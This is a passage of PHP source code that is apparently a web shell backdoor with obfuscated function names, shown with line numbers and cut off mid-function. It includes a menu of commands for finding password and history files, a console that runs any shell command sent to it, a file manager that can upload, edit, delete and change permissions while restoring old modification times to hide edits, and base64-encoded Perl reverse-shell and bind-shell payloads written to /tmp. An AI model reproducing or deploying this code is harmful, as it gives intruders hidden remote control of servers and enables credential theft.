| 476 | "find all writable folders and files in current dir" => "find . -perm -2 -ls", | |
| 477 | "find all service.pwd files" => "find / -type f -name service.pwd", | |
| 478 | "find service.pwd files in current dir" => "find . -type f -name service.pwd", | |
| 479 | "find all .htpasswd files" => "find / -type f -name .htpasswd", | |
| 480 | "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", | |
| 481 | "find all .bash_history files" => "find / -type f -name .bash_history", | |
| 482 | "find .bash_history files in current dir" => "find . -type f -name .bash_history", | |
| 483 | "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", | |
| 484 | "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", | |
| 485 | "Locate" => "", | |
| 486 | "locate httpd.conf files" => "locate httpd.conf", | |
| 487 | "locate vhosts.conf files" => "locate vhosts.conf", | |
| 488 | "locate proftpd.conf files" => "locate proftpd.conf", | |
| 489 | "locate psybnc.conf files" => "locate psybnc.conf", | |
| 490 | "locate my.conf files" => "locate my.conf", | |
| 491 | "locate admin.php files" =>"locate admin.php", | |
| 492 | "locate cfg.php files" => "locate cfg.php", | |
| 493 | "locate conf.php files" => "locate conf.php", | |
| 494 | "locate config.dat files" => "locate config.dat", | |
| 495 | "locate config.php files" => "locate config.php", | |
| 496 | "locate config.inc files" => "locate config.inc", | |
| 497 | "locate config.inc.php" => "locate config.inc.php", | |
| 498 | "locate config.default.php files" => "locate config.default.php", | |
| 499 | "locate config* files " => "locate config", | |
| 500 | "locate .conf files"=>"locate '.conf'", | |
| 501 | "locate .pwd files" => "locate '.pwd'", | |
| 502 | "locate .sql files" => "locate '.sql'", | |
| 503 | "locate .htpasswd files" => "locate '.htpasswd'", | |
| 504 | "locate .bash_history files" => "locate '.bash_history'", | |
| 505 | "locate .mysql_history files" => "locate '.mysql_history'", | |
| 506 | "locate .fetchmailrc files" => "locate '.fetchmailrc'", | |
| 507 | "locate backup files" => "locate backup", | |
| 508 | "locate dump files" => "locate dump", | |
| 509 | "locate priv files" => "locate priv" | |
| 510 | ); | |
| 511 | ||
| 512 | function actionConsole() {
| |
| 513 | if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
| |
| 514 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); | |
| 515 | $_POST['p1'] .= ' 2>&1'; | |
| 516 | } elseif(!empty($_POST['p1'])) | |
| 517 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); | |
| 518 | ||
| 519 | if(isset($_POST['ajax'])) {
| |
| 520 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
| 521 | ob_start(); | |
| 522 | echo "d.cf.cmd.value='';\n"; | |
| 523 | $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".tAivxvnGEx($_POST['p1']),"\n\r\t\'\0"));
| |
| 524 | if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
| |
| 525 | if(@chdir($match[1])) {
| |
| 526 | $GLOBALS['cwd'] = @getcwd(); | |
| 527 | echo "c_='".$GLOBALS['cwd']."';"; | |
| 528 | } | |
| 529 | } | |
| 530 | echo "d.cf.output.value+='".$temp."';"; | |
| 531 | echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; | |
| 532 | $temp = ob_get_clean(); | |
| 533 | echo strlen($temp), "\n", $temp; | |
| 534 | exit; | |
| 535 | } | |
| 536 | if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
| 537 | tAivxvnGsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
| 538 | tAivxvnGHeader(); | |
| 539 | echo "<script> | |
| 540 | if(window.Event) window.captureEvents(Event.KEYDOWN); | |
| 541 | var cmds = new Array('');
| |
| 542 | var cur = 0; | |
| 543 | function kp(e) {
| |
| 544 | var n = (window.Event) ? e.which : e.keyCode; | |
| 545 | if(n == 38) {
| |
| 546 | cur--; | |
| 547 | if(cur>=0) | |
| 548 | document.cf.cmd.value = cmds[cur]; | |
| 549 | else | |
| 550 | cur++; | |
| 551 | } else if(n == 40) {
| |
| 552 | cur++; | |
| 553 | if(cur < cmds.length) | |
| 554 | document.cf.cmd.value = cmds[cur]; | |
| 555 | else | |
| 556 | cur--; | |
| 557 | } | |
| 558 | } | |
| 559 | function add(cmd) {
| |
| 560 | cmds.pop(); | |
| 561 | cmds.push(cmd); | |
| 562 | cmds.push('');
| |
| 563 | cur = cmds.length-1; | |
| 564 | } | |
| 565 | </script>"; | |
| 566 | echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
| |
| 567 | foreach($GLOBALS['aliases'] as $n => $v) {
| |
| 568 | if($v == '') {
| |
| 569 | echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; | |
| 570 | continue; | |
| 571 | } | |
| 572 | echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; | |
| 573 | } | |
| 574 | ||
| 575 | echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
| |
| 576 | if(!empty($_POST['p1'])) {
| |
| 577 | echo htmlspecialchars("$ ".$_POST['p1']."\n".tAivxvnGEx($_POST['p1']));
| |
| 578 | } | |
| 579 | echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; | |
| 580 | echo '</form></div><script>d.cf.cmd.focus();</script>'; | |
| 581 | tAivxvnGFooter(); | |
| 582 | } function actionFilesMan() {
| |
| 583 | if (!empty ($_COOKIE['f'])) | |
| 584 | $_COOKIE['f'] = @unserialize($_COOKIE['f']); | |
| 585 | ||
| 586 | if(!empty($_POST['p1'])) {
| |
| 587 | switch($_POST['p1']) {
| |
| 588 | case 'uploadFile': | |
| 589 | if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) | |
| 590 | echo "Can't upload file!"; | |
| 591 | break; | |
| 592 | case 'mkdir': | |
| 593 | if(!@mkdir($_POST['p2'])) | |
| 594 | echo "Can't create new dir"; | |
| 595 | break; | |
| 596 | case 'delete': | |
| 597 | function deleteDir($path) {
| |
| 598 | $path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
| 599 | $dh = opendir($path); | |
| 600 | while ( ($item = readdir($dh) ) !== false) {
| |
| 601 | $item = $path.$item; | |
| 602 | if ( (basename($item) == "..") || (basename($item) == ".") ) | |
| 603 | continue; | |
| 604 | $type = filetype($item); | |
| 605 | if ($type == "dir") | |
| 606 | deleteDir($item); | |
| 607 | else | |
| 608 | @unlink($item); | |
| 609 | } | |
| 610 | closedir($dh); | |
| 611 | @rmdir($path); | |
| 612 | } | |
| 613 | if(is_array(@$_POST['f'])) | |
| 614 | foreach($_POST['f'] as $f) {
| |
| 615 | if($f == '..') | |
| 616 | continue; | |
| 617 | $f = urldecode($f); | |
| 618 | if(is_dir($f)) | |
| 619 | deleteDir($f); | |
| 620 | else | |
| 621 | @unlink($f); | |
| 622 | } | |
| 623 | break; | |
| 624 | case 'paste': | |
| 625 | if($_COOKIE['act'] == 'copy') {
| |
| 626 | function copy_paste($c,$s,$d){
| |
| 627 | if(is_dir($c.$s)){
| |
| 628 | mkdir($d.$s); | |
| 629 | $h = @opendir($c.$s); | |
| 630 | while (($f = @readdir($h)) !== false) | |
| 631 | if (($f != ".") and ($f != "..")) | |
| 632 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
| 633 | } elseif(is_file($c.$s)) | |
| 634 | @copy($c.$s, $d.$s); | |
| 635 | } | |
| 636 | foreach($_COOKIE['f'] as $f) | |
| 637 | copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
| 638 | } elseif($_COOKIE['act'] == 'move') {
| |
| 639 | function move_paste($c,$s,$d){
| |
| 640 | if(is_dir($c.$s)){
| |
| 641 | mkdir($d.$s); | |
| 642 | $h = @opendir($c.$s); | |
| 643 | while (($f = @readdir($h)) !== false) | |
| 644 | if (($f != ".") and ($f != "..")) | |
| 645 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
| 646 | } elseif(@is_file($c.$s)) | |
| 647 | @copy($c.$s, $d.$s); | |
| 648 | } | |
| 649 | foreach($_COOKIE['f'] as $f) | |
| 650 | @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
| 651 | } elseif($_COOKIE['act'] == 'zip') {
| |
| 652 | if(class_exists('ZipArchive')) {
| |
| 653 | $zip = new ZipArchive(); | |
| 654 | if ($zip->open($_POST['p2'], 1)) {
| |
| 655 | chdir($_COOKIE['c']); | |
| 656 | foreach($_COOKIE['f'] as $f) {
| |
| 657 | if($f == '..') | |
| 658 | continue; | |
| 659 | if(@is_file($_COOKIE['c'].$f)) | |
| 660 | $zip->addFile($_COOKIE['c'].$f, $f); | |
| 661 | elseif(@is_dir($_COOKIE['c'].$f)) {
| |
| 662 | $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS)); | |
| 663 | foreach ($iterator as $key=>$value) {
| |
| 664 | $zip->addFile(realpath($key), $key); | |
| 665 | } | |
| 666 | } | |
| 667 | } | |
| 668 | chdir($GLOBALS['cwd']); | |
| 669 | $zip->close(); | |
| 670 | } | |
| 671 | } | |
| 672 | } elseif($_COOKIE['act'] == 'unzip') {
| |
| 673 | if(class_exists('ZipArchive')) {
| |
| 674 | $zip = new ZipArchive(); | |
| 675 | foreach($_COOKIE['f'] as $f) {
| |
| 676 | if($zip->open($_COOKIE['c'].$f)) {
| |
| 677 | $zip->extractTo($GLOBALS['cwd']); | |
| 678 | $zip->close(); | |
| 679 | } | |
| 680 | } | |
| 681 | } | |
| 682 | } elseif($_COOKIE['act'] == 'tar') {
| |
| 683 | chdir($_COOKIE['c']); | |
| 684 | $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
| |
| 685 | tAivxvnGEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
| |
| 686 | chdir($GLOBALS['cwd']); | |
| 687 | } | |
| 688 | unset($_COOKIE['f']); | |
| 689 | setcookie('f', '', time() - 3600);
| |
| 690 | break; | |
| 691 | default: | |
| 692 | if(!empty($_POST['p1'])) {
| |
| 693 | tAivxvnGsetcookie('act', $_POST['p1']);
| |
| 694 | tAivxvnGsetcookie('f', serialize(@$_POST['f']));
| |
| 695 | tAivxvnGsetcookie('c', @$_POST['c']);
| |
| 696 | } | |
| 697 | break; | |
| 698 | } | |
| 699 | } | |
| 700 | tAivxvnGHeader(); | |
| 701 | echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; | |
| 702 | $dirContent = tAivxvnGScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
| 703 | if($dirContent === false) { echo 'Can\'t open this folder!';tAivxvnGFooter(); return; }
| |
| 704 | global $sort; | |
| 705 | $sort = array('name', 1);
| |
| 706 | if(!empty($_POST['p1'])) {
| |
| 707 | if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
| |
| 708 | $sort = array($match[1], (int)$match[2]); | |
| 709 | } | |
| 710 | echo "<script> | |
| 711 | function sa() {
| |
| 712 | for(i=0;i<d.files.elements.length;i++) | |
| 713 | if(d.files.elements[i].type == 'checkbox') | |
| 714 | d.files.elements[i].checked = d.files.elements[0].checked; | |
| 715 | } | |
| 716 | </script> | |
| 717 | <table width='100%' class='main' cellspacing='0' cellpadding='2'> | |
| 718 | <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; | |
| 719 | $dirs = $files = array(); | |
| 720 | $n = count($dirContent); | |
| 721 | for($i=0;$i<$n;$i++) {
| |
| 722 | $ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
| 723 | $gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
| 724 | $tmp = array('name' => $dirContent[$i],
| |
| 725 | 'path' => $GLOBALS['cwd'].$dirContent[$i], | |
| 726 | 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
| |
| 727 | 'perms' => tAivxvnGPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
| 728 | 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
| 729 | 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
| 730 | 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
| 731 | ); | |
| 732 | if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
| 733 | $files[] = array_merge($tmp, array('type' => 'file'));
| |
| 734 | elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
| 735 | $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
| |
| 736 | elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])) | |
| 737 | $dirs[] = array_merge($tmp, array('type' => 'dir'));
| |
| 738 | } | |
| 739 | $GLOBALS['sort'] = $sort; | |
| 740 | function tAivxvnGCmp($a, $b) {
| |
| 741 | if($GLOBALS['sort'][0] != 'size') | |
| 742 | return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
| 743 | else | |
| 744 | return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
| 745 | } | |
| 746 | usort($files, "tAivxvnGCmp"); | |
| 747 | usort($dirs, "tAivxvnGCmp"); | |
| 748 | $files = array_merge($dirs, $files); | |
| 749 | $l = 0; | |
| 750 | foreach($files as $f) {
| |
| 751 | echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?tAivxvnGViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
| |
| 752 | .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; | |
| 753 | $l = $l?0:1; | |
| 754 | } | |
| 755 | echo "<tr><td colspan=7> | |
| 756 | <input type=hidden name=ne value=''> | |
| 757 | <input type=hidden name=a value='FilesMan'> | |
| 758 | <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
| 759 | <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
| 760 | <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; | |
| 761 | if(class_exists('ZipArchive'))
| |
| 762 | echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; | |
| 763 | echo "<option value='tar'>Compress (tar.gz)</option>"; | |
| 764 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) | |
| 765 | echo "<option value='paste'>Paste / Compress</option>"; | |
| 766 | echo "</select> "; | |
| 767 | if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) | |
| 768 | echo "file name: <input type=text name=p2 value='tAivxvnG_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
| |
| 769 | echo "<input type='submit' value='>>'></td></tr></form></table></div>"; | |
| 770 | tAivxvnGFooter(); | |
| 771 | } | |
| 772 | function actionFilesTools() {
| |
| 773 | if( isset($_POST['p1']) ) | |
| 774 | $_POST['p1'] = urldecode($_POST['p1']); | |
| 775 | if(@$_POST['p2']=='download') {
| |
| 776 | if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
| |
| 777 | ob_start("ob_gzhandler", 4096);
| |
| 778 | header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
| |
| 779 | if (function_exists("mime_content_type")) {
| |
| 780 | $type = @mime_content_type($_POST['p1']); | |
| 781 | header("Content-Type: " . $type);
| |
| 782 | } else | |
| 783 | header("Content-Type: application/octet-stream");
| |
| 784 | $fp = @fopen($_POST['p1'], "r"); | |
| 785 | if($fp) {
| |
| 786 | while(!@feof($fp)) | |
| 787 | echo @fread($fp, 1024); | |
| 788 | fclose($fp); | |
| 789 | } | |
| 790 | }exit; | |
| 791 | } | |
| 792 | if( @$_POST['p2'] == 'mkfile' ) {
| |
| 793 | if(!file_exists($_POST['p1'])) {
| |
| 794 | $fp = @fopen($_POST['p1'], 'w'); | |
| 795 | if($fp) {
| |
| 796 | $_POST['p2'] = "edit"; | |
| 797 | fclose($fp); | |
| 798 | } | |
| 799 | } | |
| 800 | } | |
| 801 | tAivxvnGHeader(); | |
| 802 | echo '<h1>File tools</h1><div class=content>'; | |
| 803 | if( !file_exists(@$_POST['p1']) ) {
| |
| 804 | echo 'File not exists'; | |
| 805 | tAivxvnGFooter(); | |
| 806 | return; | |
| 807 | } | |
| 808 | $uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
| 809 | if(!$uid) {
| |
| 810 | $uid['name'] = @fileowner($_POST['p1']); | |
| 811 | $gid['name'] = @filegroup($_POST['p1']); | |
| 812 | } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
| 813 | echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?tAivxvnGViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.tAivxvnGPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
| 814 | echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
| |
| 815 | if( empty($_POST['p2']) ) | |
| 816 | $_POST['p2'] = 'view'; | |
| 817 | if( is_file($_POST['p1']) ) | |
| 818 | $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
| |
| 819 | else | |
| 820 | $m = array('Chmod', 'Rename', 'Touch');
| |
| 821 | foreach($m as $v) | |
| 822 | echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; | |
| 823 | echo '<br><br>'; | |
| 824 | switch($_POST['p2']) {
| |
| 825 | case 'view': | |
| 826 | echo '<pre class=ml1>'; | |
| 827 | $fp = @fopen($_POST['p1'], 'r'); | |
| 828 | if($fp) {
| |
| 829 | while( !@feof($fp) ) | |
| 830 | echo htmlspecialchars(@fread($fp, 1024)); | |
| 831 | @fclose($fp); | |
| 832 | } | |
| 833 | echo '</pre>'; | |
| 834 | break; | |
| 835 | case 'highlight': | |
| 836 | if( @is_readable($_POST['p1']) ) {
| |
| 837 | echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
| 838 | $code = @highlight_file($_POST['p1'],true); | |
| 839 | echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
| |
| 840 | } | |
| 841 | break; | |
| 842 | case 'chmod': | |
| 843 | if( !empty($_POST['p3']) ) {
| |
| 844 | $perms = 0; | |
| 845 | for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
| 846 | $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
| 847 | if(!@chmod($_POST['p1'], $perms)) | |
| 848 | echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
| 849 | } | |
| 850 | clearstatcache(); | |
| 851 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
| |
| 852 | break; | |
| 853 | case 'edit': | |
| 854 | if( !is_writable($_POST['p1'])) {
| |
| 855 | echo 'File isn\'t writeable'; | |
| 856 | break; | |
| 857 | } | |
| 858 | if( !empty($_POST['p3']) ) {
| |
| 859 | $time = @filemtime($_POST['p1']); | |
| 860 | $_POST['p3'] = substr($_POST['p3'],1); | |
| 861 | $fp = @fopen($_POST['p1'],"w"); | |
| 862 | if($fp) {
| |
| 863 | @fwrite($fp,$_POST['p3']); | |
| 864 | @fclose($fp); | |
| 865 | echo 'Saved!<br><script>p3_="";</script>'; | |
| 866 | @touch($_POST['p1'],$time,$time); | |
| 867 | } | |
| 868 | } | |
| 869 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
| 870 | $fp = @fopen($_POST['p1'], 'r'); | |
| 871 | if($fp) {
| |
| 872 | while( !@feof($fp) ) | |
| 873 | echo htmlspecialchars(@fread($fp, 1024)); | |
| 874 | @fclose($fp); | |
| 875 | } | |
| 876 | echo '</textarea><input type=submit value=">>"></form>'; | |
| 877 | break; | |
| 878 | case 'hexdump': | |
| 879 | $c = @file_get_contents($_POST['p1']); | |
| 880 | $n = 0; | |
| 881 | $h = array('00000000<br>','','');
| |
| 882 | $len = strlen($c); | |
| 883 | for ($i=0; $i<$len; ++$i) {
| |
| 884 | $h[1] .= sprintf('%02X',ord($c[$i])).' ';
| |
| 885 | switch ( ord($c[$i]) ) {
| |
| 886 | case 0: $h[2] .= ' '; break; | |
| 887 | case 9: $h[2] .= ' '; break; | |
| 888 | case 10: $h[2] .= ' '; break; | |
| 889 | case 13: $h[2] .= ' '; break; | |
| 890 | default: $h[2] .= $c[$i]; break; | |
| 891 | } | |
| 892 | $n++; | |
| 893 | if ($n == 32) {
| |
| 894 | $n = 0; | |
| 895 | if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
| |
| 896 | $h[1] .= '<br>'; | |
| 897 | $h[2] .= "n"; | |
| 898 | } | |
| 899 | } | |
| 900 | echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
| 901 | break; | |
| 902 | case 'rename': | |
| 903 | if( !empty($_POST['p3']) ) {
| |
| 904 | if(!@rename($_POST['p1'], $_POST['p3'])) | |
| 905 | echo 'Can\'t rename!<br>'; | |
| 906 | else | |
| 907 | die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
| |
| 908 | } | |
| 909 | echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; | |
| 910 | break; | |
| 911 | case 'touch': | |
| 912 | if( !empty($_POST['p3']) ) {
| |
| 913 | $time = strtotime($_POST['p3']); | |
| 914 | if($time) {
| |
| 915 | if(!touch($_POST['p1'],$time,$time)) | |
| 916 | echo 'Fail!'; | |
| 917 | else | |
| 918 | echo 'Touched!'; | |
| 919 | } else echo 'Bad time format!'; | |
| 920 | } | |
| 921 | clearstatcache(); | |
| 922 | echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
| |
| 923 | break; | |
| 924 | } | |
| 925 | echo '</div>'; | |
| 926 | tAivxvnGFooter(); | |
| 927 | } function actionNetwork() {
| |
| 928 | tAivxvnGHeader(); | |
| 929 | $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
| 930 | $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; | |
| 931 | echo "<h1>Network tools</h1><div class=content> | |
| 932 | <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> | |
| 933 | <span>Bind port to /bin/sh [perl]</span><br/> | |
| 934 | Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
| 935 | </form> | |
| 936 | <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> | |
| 937 | <span>Back-connect [perl]</span><br/> | |
| 938 | Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> | |
| 939 | </form><br>"; | |
| 940 | if(isset($_POST['p1'])) {
| |
| 941 | function cf($f,$t) {
| |
| 942 | $w = @fopen($f,"w") or @function_exists('file_put_contents');
| |
| 943 | if($w){
| |
| 944 | @fwrite($w,@base64_decode($t)); | |
| 945 | @fclose($w); | |
| 946 | } | |
| 947 | } | |
| 948 | if($_POST['p1'] == 'bpp') {
| |
| 949 | cf("/tmp/bp.pl",$bind_port_p);
| |
